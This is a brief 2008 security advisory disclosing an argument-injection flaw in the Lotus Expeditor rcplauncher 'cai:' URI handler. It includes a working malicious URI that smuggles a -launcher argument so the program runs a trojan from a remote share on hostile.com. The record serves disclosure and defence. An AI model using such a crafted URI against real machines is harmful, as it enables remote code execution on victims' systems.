Lotus expeditor rcplauncher uri handler vulnerability

2008-04-27T00:00:00
ID SECURITYVULNS:DOC:19733
Type securityvulns
Reporter Securityvulns
Modified 2008-04-27T00:00:00

Description

Hello

Lotus expeditor rcplauncher registers a cai: uri handler. This handler executes "D:\Program Files\IBM\Lotus\Symphony\framework\rcp\rcplauncher.exe" -config notes -com.ibm.rcp.portal.app.ui#openCA "%1" the rcplauncher process accepts various arguments which can be abused to execute arbitrary code. The argument to the -launcher option for example is an executable that will be executed.

malicious uri example: cai:"%20-launcher%20\\hostile.com\d$\trojan

original advisory : http://thomas.pollet.googlepages.com/lotusexpeditorurihandlervulnerability

Regards, Thomas Pollet